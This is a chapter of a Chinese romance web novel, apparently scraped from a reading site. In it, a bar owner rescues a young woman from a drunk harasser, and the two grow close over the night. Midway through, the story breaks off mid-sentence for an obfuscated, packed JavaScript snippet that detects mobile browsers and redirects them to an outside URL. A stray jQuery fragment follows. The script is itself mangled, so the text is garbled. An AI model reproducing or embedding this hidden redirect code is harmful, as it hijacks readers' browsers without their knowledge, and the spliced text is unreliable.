34. 誘她(2 / 2)

墜落蝴蝶海 陳以墨 13039 字 5個月前

陸祁溟捧著她那雙手,忽然低頭,在她手背上印下一個淺淺的吻,像羽毛拂過般,在她心尖輕輕撓了下。

“梁舒音,我心甘情願的。”

“你知道我最喜歡你什麼嗎?”

他仰頭看她,目光極儘溫柔,“你骨子裡的那點倔。”

他從來都知道,她脾氣犟得很,不想做的事情誰也無法強迫,想做的事,哪怕撞破南牆也絕不回頭。

夜風柔和,他的吻也溫柔,話也溫柔。

她覺得身體裡有什麼尖銳的東西,慢慢地被他撫平了。

終究還是承受不住他那樣深情的凝試,她彆開了視線。

陸祁溟卻不肯放過她,“音音,我是真的——”

然而話音未落,麵前的姑娘就偏頭,猛打了個噴嚏。

陸祁溟頓了下,沉默片刻,將剛才的話咽進了喉嚨。

他起身,提議道,“這裡風大,進去吧。”

她搖頭,“我還想再呆會兒。”

他頓了下,“行,那你等我兩分鐘。”

等人走了,梁舒音才捂著擂動的胸口,深深地吸了口河邊的鮮氧。

她知道他剛才要說什麼。

她不想在這個溫柔的夜晚,再傷害他。

被他握過的手,還殘留著他的體溫,她蜷起指尖,將那抹熱意緊緊攥在掌心。

走神之際,麵前忽然投下一道人影,以為是他,猛然抬頭,撞見的卻是一張陌生麵孔。

“小美女,一個人在這兒呢?”一個中年男人色迷迷地望著她。

這條酒吧街,什麼樣的人都有,她既沒驚慌,也沒搭理對方,拿著包起身,準備離開。

那人卻拽住她手腕,“喲,脾氣還挺大的。”

“放開。”她低嗬對方。

男人非但沒放手,反而撲過來,從背後一把抱住她。

一陣惡心的酒氣襲來。

她屏住呼吸,強迫自己冷靜下來,“我男朋友就在附近,你要是不想被打,就放手。”

“是麼?”

男人不大相信,一隻手在她腰上亂摸,“那他在哪兒呢?他很厲害嗎?”

“他就在對麵酒吧。”她用力去掰男人粗糙的手,“他是酒吧老板。”

“MATA的老板是你男朋友?”

男人指尖刮過她白嫩的臉,調侃道:“我還說他是我爹呢?”

他話音剛落,梁舒音就聽到耳邊一聲

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409236|134839||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

炸響,像是玻璃瓶砸在人身上的聲音。

“啊!”

男人尖叫,捂著流血的腦袋,暴怒道:“誰他媽砸我。”

“你爹。”

陸祁溟沉著張臉,一手拿著還剩半截的酒瓶,語氣冷戾,眼風陰狠得像是下一刻就要刀人。

他將梁舒音拉到身後,將男人推倒椅子上,一腳踩在他旁邊,禿嚕的酒瓶子卡在他脖子上。

“哪隻手碰她的?”冷冽的嗓音叫人汗毛豎起。

能在這條街開店的多少都有些背景,權或錢總得占一樣。

男人自知踢到鐵板,又見陸祁溟一副要剮了他的樣子,頓時嚇破了膽,抱著拳頭忙不迭求饒。

“好漢饒命啊,我喝多了,腦子不清醒,您就放過我這回吧。”

身後的人扯了扯他衣角,“算了。”

他將她渾身上下掃了一眼,見她沒事,猶豫片刻才鬆了口。

“滾吧,下次彆讓我再看見你。”

得到特赦,男人連滾帶爬逃命去了。

陸祁溟將手頭的東西扔進垃圾桶,拿紙巾擦了手,扭頭看身後的人。

“沒事吧。”

“沒。”

想起自己剛才的話被他聽到了,梁舒音低著頭,沒敢看他。

頭頂卻忽然傳來意味深長的笑,“男朋友?”

她臉頰發燙,卻也不甘示弱,仰頭跟他杠上,“爹?”

陸祁溟彆開視線,笑出了聲。

手腕上還掛著件外套,他拿起來抖了下,披在她肩上,將她整個人都包裹了起來。

“彆著涼了。”

原來是進去給她拿衣服了。

“我不冷。”她拽著領子想把衣服脫下來。

他外套實在太大了,穿在她身上拖泥帶水,一點也不利落。

“聽話。”陸祁溟不容置疑。

她身上就一條吊帶,一個幾乎透明的開衫,她都不知道這一晚多少臭男人的目光黏在她身上。

被他這麼一斥,她微怔了下,莫名鬆了手。

然而,將手伸進他寬大的袖筒時,借著光,忽然掃到他頸側的一抹紅。

也沒多想,她踮著腳,偏頭湊到他脖頸處,“陸祁溟,你流血了。”

女孩帶著香味的呼吸掃過他鎖骨處,溫熱的,勾得他喉頭乾燥,心裡發癢。

沒得到回應,梁舒音偏頭瞧他,卻發現男人正垂眸盯著自己。

眸色像這濃黑的夜色一樣晦暗。

意識到什麼,她後退半步,“附近好像有藥房,我去給你買點藥。”

“不用了。”陸祁溟拽住她,“我叫人送過來。”

重新坐回椅子上,兩個人都有些不自然。

還好,沒幾分鐘,酒吧的人就送了碘伏和棉簽過來。

陸祁溟將東西扔給她,“給我上藥。”

在她拒絕前,他又及時補充了句,“我看不見傷口。”

梁舒音瞄他一眼,也沒多說什麼,拆開了那個袋子。有了剛才的教訓,上藥時,她刻意拉開距離。

“隔那麼遠乾嘛,怕我吃了你?”陸祁溟覺得有些好笑。

她也不回答,直接用手上的棉簽用力按壓,男人“嘶”了聲,一把扣住她後腦勺,將人貼近自己。

“挑釁是吧?”

他目光落在她唇上,接著又緩緩上移,掠過她小巧的鼻尖、眼睛。

這一晚上的曖昧發酵,沒得到釋放,心裡都有些受不住。

在他急促的呼吸靠近時,梁舒音抬手,用掌心擋住了他的吻。

他卻抓著她送上來的手腕,順勢在她掌心親了下。

手心的灼熱濡濕,讓她心頭猛地一跳,像被火燒似的,立刻撒了手。

然後故作鎮定地拿起一旁的酒,也沒仔細看,仰頭就自顧自地灌了兩口。

辣得她咳嗽起來。

在陸祁溟欲言又止的神色中,她才意識到,自己喝錯了。

那是他的威士忌,酒烈,她喝得又急,很快便酒氣上湧,渾身燥熱了起來。

醉後的她是什麼樣,陸祁溟清楚得很,他對自己的自控力也沒那麼自信。

這樣下去鐵定會出事,他將她拉過來,哄道:“走吧,送你回家。”

微醺的人卻仰著小腦袋,眼神迷離地望著他,那雙極美的狐狸眼,眼尾像鉤子,栽進了他心底。

她沒動,隻握著他的手,將他雙手貼在她發燙的臉頰上。

“陸祁溟。”她眨了眨眼,呢喃道,“我沒有家...”

心頭被莫名拉扯了下,很不舒服,陸祁溟知道那是一種名為心疼的滋味,他眉心下壓,滿眼疼惜地盯著懷裡的人。

即便屢次拒絕他的幫助,但他看得出,她今晚的孤獨和彷徨。

讓她回家一個人呆著,他也的確不放心。

“梁舒音。”

他雙手捧著她的臉,低沉嗓音滾落她耳邊,不急不迫,帶著徐徐圖之的溫柔。

“要跟我走嗎?”

上一頁 書頁/目錄 沒有了